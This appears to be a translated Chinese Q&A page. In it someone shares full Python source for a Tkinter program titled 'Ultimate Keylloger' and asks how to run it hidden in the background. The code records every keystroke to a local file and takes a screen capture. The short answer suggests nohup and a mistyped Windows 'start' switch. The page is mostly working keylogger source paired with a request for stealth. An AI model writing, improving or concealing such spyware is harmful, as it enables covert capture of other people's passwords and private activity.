python - 如何在后台运行 python 可执行文件?
问题描述
我有一个程序,它运行良好,当我按下“在后台运行”按钮时,我需要在后台隐藏我的程序。但我该怎么办。我应该使用哪个库?我能怎么做 ?
有办法隐藏我的可执行文件吗?所以我只能通过打开任务管理器看到谢谢你的帮助;)
ps:为什么我收到“看起来你的帖子主要是代码;请添加更多细节。”
from tkinter import *
from functools import partial
from pynput.keyboard import Listener
import threading
from PIL import ImageGrab
from random import randint
def grab():
c = randint(1,9999)
c = str(c)
ImageGrab.grab().save("Uk" + c +".jpg", "JPEG")
def on_press(key):
keyd=str(key)
keyd=keyd.replace("'", "")
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"_l": "",
"Key.ctrl": "",
"Key.shift": "",
"Key.capsock": "",
"Key.ctrl_l": "",
"Key.backspace": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
for key in translate_keys:
keyd = keyd.replace(key, translate_keys[key])
print(keyd)
with open("Uk.docx", "a") as o:
o.write(keyd)
def start(arg):
def starting(args):
if args is 1:
lVar.set("Starting Listener")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 2:
lVar.set("Starting Listener .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 3:
lVar.set("Starting Listener . .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 4:
lVar.set("Starting Listener . . .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
def running():
lbStatus["fg"] = "white"
lVar.set('[+] Listener Running')
lbStatus["bg"] = "green"
def not_original():
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
lVar.set("[!] Click Button Start ")
def err_running():
lbStatus["fg"] = "red"
lVar.set('[!] Already Running ')
lbStatus["bg"] = "black"
threading.Timer(1, running).start()
def err_notRunning():
lbStatus["fg"] = "red"
lbStatus["bg"] = "black"
lVar.set("[!] Not Running ")
threading.Timer(1, not_original).start()
def repeat():
threading.Timer(0.5,starting,[1]).start()
threading.Timer(1, starting,[2]).start()
threading.Timer(1.5, starting,[3]).start()
threading.Timer(2, starting,[4]).start()
global thr
if arg == btStart:
if thr is None:
#Start Listener
thr = Listener(on_press=on_press)
threading.Timer(0.1, repeat).start()
threading.Timer(2, repeat).start()
thr.start()
threading.Timer(5, running).start()
threading.Timer(50, grab).start()
else:
print("Ja rodando")
err_running()
if arg == btStop:
if thr is None:
print('Nao está rodando')
err_notRunning()
else:
print("Parando proteção")
threading.Timer(1, not_original).start()
thr.stop()
thr.join()
thr = None
def runInBackground():
pass
thr = None
#Controller
app = Tk()
#Estado
lVar = StringVar()
lbStatus = Label(app, textvariable= lVar , bg="blue", fg="white")
lbStatus.pack(side=BOTTOM, fill=X)
lVar.set("[!] Click Button Start")
#Button Start
btStart = Button(app, text="Start")
btStart.pack(side = TOP, fill=X)
btStart["command"] = partial(start, btStart)
#Button Stop
btStop = Button(app, text="Stop")
btStop.pack(side=TOP, fill=X)
btStop["command"] = partial(start, btStop)
#Button Backg
btBackground = Button(app, text="Run in Background", command=runInBackground)
btBackground.pack(side=TOP, fill=X)
#Window Configs
app.geometry("300x150+800+400")
app.title("Ultimate Keylloger")
app.maxsize(width= 300, height= 150)
app.minsize(width= 300, height= 150)
app.mainloop()
解决方案
尝试从终端/命令行运行您的程序。
它应该nohup python your_code.py > your_output.txt
在 Linux 和start \B python <your_code.py> > your_output.txt
Windows 上
推荐阅读
- javascript - 在 Google Data Studio 中连接 apiary.io REST API v1+
- jax-rs - Jersey SecurityContext.getUserPrincipal() 为非单例资源返回 null
- r - R data.table 一次创建多个列
- android - Ionic Native HTTP 不适用于 Anroid 9 (Pie) 及更高版本?
- amazon-web-services - AWS Redshift 可以用作服务吗?
- scala - Scala Databricks:将所有 bigint 列转换为加倍
- java - 如何自定义弹簧休息控制器的 json 输出
- python - KNeighborsClassifier 中如何使用参数“权重”?
- bash - Travis CI,找不到文件,但它似乎存在
- angular - Angular 和 .Net 核心应用程序 httpPost 发送空对象